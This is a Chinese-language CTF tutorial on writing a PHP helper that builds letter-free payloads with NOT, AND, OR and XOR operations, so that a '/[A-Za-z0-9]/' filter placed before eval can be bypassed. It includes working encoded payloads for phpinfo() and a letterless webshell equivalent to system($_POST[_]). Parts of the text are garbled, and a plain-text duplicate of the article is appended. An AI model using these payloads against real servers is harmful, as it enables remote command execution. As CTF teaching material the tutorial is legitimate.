针对常规无字母RCE的通用辅助脚本开发
字数 927 2025-08-09 17:09:26

常规无字母RCE的通用辅助脚本开发教程

前言

无字母RCE(Remote Code Execution)是CTF比赛中常见的考点,虽然在实际环境中较少出现,但在CTF中经常考察选手对PHP代码特性的理解和变通能力。本文将详细介绍如何开发一个针对常规无字母RCE的通用辅助脚本。

常规解题思路

典型的无字母RCE题目通常具有以下特征:

  1. 使用正则表达式限制部分字符集
  2. 通过eval执行任意代码

常规解题思路如下:

  1. Fuzz出未被过滤的字符
  2. 通过与、或、非、异或操作利用未被过滤的字符构造关键字
  3. 利用PHP动态调用特性绕过限制执行任意代码

开发过程

1. Fuzz出未过滤的字符

<?php
$target = isset($_REQUEST['target']) ? $_REQUEST['target'] : "phpinfo";
$regx = isset($_REQUEST['regx']) ? $_REQUEST['regx'] : "/[A-Za-z0-9]/";
$white_list_chr = array();

for ($i = 1; $i <= 255; $i++) {
    if (!preg_match($regx, chr($i))) {
        $white_list_chr[] = chr($i);
    }
}
print_r($white_list_chr);

这段代码遍历ASCII码1-255的所有字符,检查哪些字符不被正则表达式过滤,将结果存入$white_list_chr数组。

2. 构造可构造的字符集

单目操作(非运算)

$not_chars = array();
if (!preg_match($regx, '~')) {
    foreach ($white_list_chr as $chr) {
        $not_chars[~$chr] = ord($chr);
    }
}
print_r($not_chars);

首先检查~运算符是否被过滤,然后对每个允许的字符进行非运算,存储结果。

双目操作(与、或、异或)

// 与运算
$and_chars = array();
if (!preg_match($regx, '&')) {
    foreach ($white_list_chr as $chr1) {
        foreach ($white_list_chr as $chr2) {
            $and_res = $chr1 & $chr2;
            if (null === $and_chars[$and_res]) {
                $and_chars[$and_res] = array(ord($chr1), ord($chr2));
            }
        }
    }
}

// 或运算
$or_chars = array();
if (!preg_match($regx, '|')) {
    foreach ($white_list_chr as $chr1) {
        foreach ($white_list_chr as $chr2) {
            $and_res = $chr1 | $chr2;
            if (null === $or_chars[$and_res]) {
                $or_chars[$and_res] = array(ord($chr1), ord($chr2));
            }
        }
    }
}

// 异或运算
$xor_chars = array();
if (!preg_match($regx, '^')) {
    foreach ($white_list_chr as $chr1) {
        foreach ($white_list_chr as $chr2) {
            $and_res = $chr1 ^ $chr2;
            if (null === $xor_chars[$and_res]) {
                $xor_chars[$and_res] = array(ord($chr1), ord($chr2));
            }
        }
    }
}

3. 构造目标字符串

非运算构造

$not_op = "";
for ($i = 0; $i < strlen($target); $i++) {
    if ($not_chars[$target[$i]] === null) {
        $not_op = "Fail.";
        break;
    }
    $not_op .= chr($not_chars[$target[$i]]);
}

双目运算构造

// 与运算
$and_op_left = "";
$and_op_right = "";
for ($i = 0; $i < strlen($target); $i++) {
    if ($and_chars[$target[$i]] === null) {
        $and_op_left = "Fail.";
        $and_op_right = "Fail.";
        break;
    }
    $and_op_left .= chr($and_chars[$target[$i]][0]);
    $and_op_right .= chr($and_chars[$target[$i]][1]);
}

// 或运算
$or_op_left = "";
$or_op_right = "";
for ($i = 0; $i < strlen($target); $i++) {
    if ($or_chars[$target[$i]] === null) {
        $or_op_left = "Fail.";
        $or_op_right = "Fail.";
        break;
    }
    $or_op_left .= chr($or_chars[$target[$i]][0]);
    $or_op_right .= chr($or_chars[$target[$i]][1]);
}

// 异或运算
$xor_op_left = "";
$xor_op_right = "";
for ($i = 0; $i < strlen($target); $i++) {
    if ($xor_chars[$target[$i]] === null) {
        $xor_op_left = "Fail.";
        $xor_op_right = "Fail.";
        break;
    }
    $xor_op_left .= chr($xor_chars[$target[$i]][0]);
    $xor_op_right .= chr($xor_chars[$target[$i]][1]);
}

4. 结果展示

<form method="post">
    <p>Build for : <input name="target" value="<?php echo $target; ?>"></p>
    <p>Regx : <input name="regx" value="<?php echo $regx; ?>"></p>
    <p><button type="submit">Submit</button></p>
</form>

<p><b>Build via not</b></p>
<p>not_op : <input value="<?php echo urlencode($not_op); ?>"></p>

<p><b>Build via and</b></p>
<p>and_op_left : <input value="<?php echo urlencode($and_op_left); ?>"></p>
<p>and_op_right : <input value="<?php echo urlencode($and_op_right); ?>"></p>

<p><b>Build via or</b></p>
<p>or_op_left : <input value="<?php echo urlencode($or_op_left); ?>"></p>
<p>or_op_right : <input value="<?php echo urlencode($or_op_right); ?>"></p>

<p><b>Build via xor</b></p>
<p>xor_op_left : <input value="<?php echo urlencode($xor_op_left); ?>"></p>
<p>xor_op_right : <input value="<?php echo urlencode($xor_op_right); ?>"></p>

实际应用

示例题目

假设题目代码如下:

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9]/",$code)){
        die("no letter!");
    }
    eval($code);
}

使用辅助脚本

  1. 将正则表达式/[A-Za-z0-9]/和目标字符串phpinfo输入脚本
  2. 得到构造结果,例如非运算结果:(~%8F%97%8F%96%91%99%90)()
  3. 构造payload:(~%8F%97%8F%96%91%99%90)(); // phpinfo()

系统命令执行

  1. 构造system_POST
    • `$_=(~%A0%AF%B0%AC%AB);(~%8C%86%8C%8B%9A%92)(

\[_[_]); // system($_POST[_]);` 2. 发送payload时注意对特殊字符进行URL编码 ## 小提示 1. 构造结果可能包含特殊字符(如`\`, `"`, `'`, `)`, `=`等)影响代码语义 2. 解决方法: - 在正则中添加特殊字符的过滤重新计算 - 对特殊字符进行转义(如`\`前再加一个`\`) 3. 如果所有构造方式都返回"Fail.",可能需要考虑进阶玩法 ## 附录:完整脚本代码 ```php

Build for :

Regx :

Build via not

not_op :

Build via and

and_op_left :

and_op_right :

Build via or

or_op_left :

or_op_right :

Build via xor

xor_op_left :

xor_op_right :

``` ## 参考资料 1. [无字母数字webshell之提高篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html) 2. [无字母数字webshell之进阶篇](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html)\]

常规无字母RCE的通用辅助脚本开发教程 前言 无字母RCE(Remote Code Execution)是CTF比赛中常见的考点,虽然在实际环境中较少出现,但在CTF中经常考察选手对PHP代码特性的理解和变通能力。本文将详细介绍如何开发一个针对常规无字母RCE的通用辅助脚本。 常规解题思路 典型的无字母RCE题目通常具有以下特征: 使用正则表达式限制部分字符集 通过eval执行任意代码 常规解题思路如下: Fuzz出未被过滤的字符 通过与、或、非、异或操作利用未被过滤的字符构造关键字 利用PHP动态调用特性绕过限制执行任意代码 开发过程 1. Fuzz出未过滤的字符 这段代码遍历ASCII码1-255的所有字符,检查哪些字符不被正则表达式过滤,将结果存入 $white_list_chr 数组。 2. 构造可构造的字符集 单目操作(非运算) 首先检查 ~ 运算符是否被过滤,然后对每个允许的字符进行非运算,存储结果。 双目操作(与、或、异或) 3. 构造目标字符串 非运算构造 双目运算构造 4. 结果展示 实际应用 示例题目 假设题目代码如下: 使用辅助脚本 将正则表达式 /[A-Za-z0-9]/ 和目标字符串 phpinfo 输入脚本 得到构造结果,例如非运算结果: (~%8F%97%8F%96%91%99%90)() 构造payload: (~%8F%97%8F%96%91%99%90)(); // phpinfo() 系统命令执行 构造 system 和 _POST : $_=(~%A0%AF%B0%AC%AB);(~%8C%86%8C%8B%9A%92)($$_[_]); // system($_POST[_]); 发送payload时注意对特殊字符进行URL编码 小提示 构造结果可能包含特殊字符(如 \ , " , ' , ) , = 等)影响代码语义 解决方法: 在正则中添加特殊字符的过滤重新计算 对特殊字符进行转义(如 \ 前再加一个 \ ) 如果所有构造方式都返回"Fail.",可能需要考虑进阶玩法 附录:完整脚本代码 参考资料 无字母数字webshell之提高篇 无字母数字webshell之进阶篇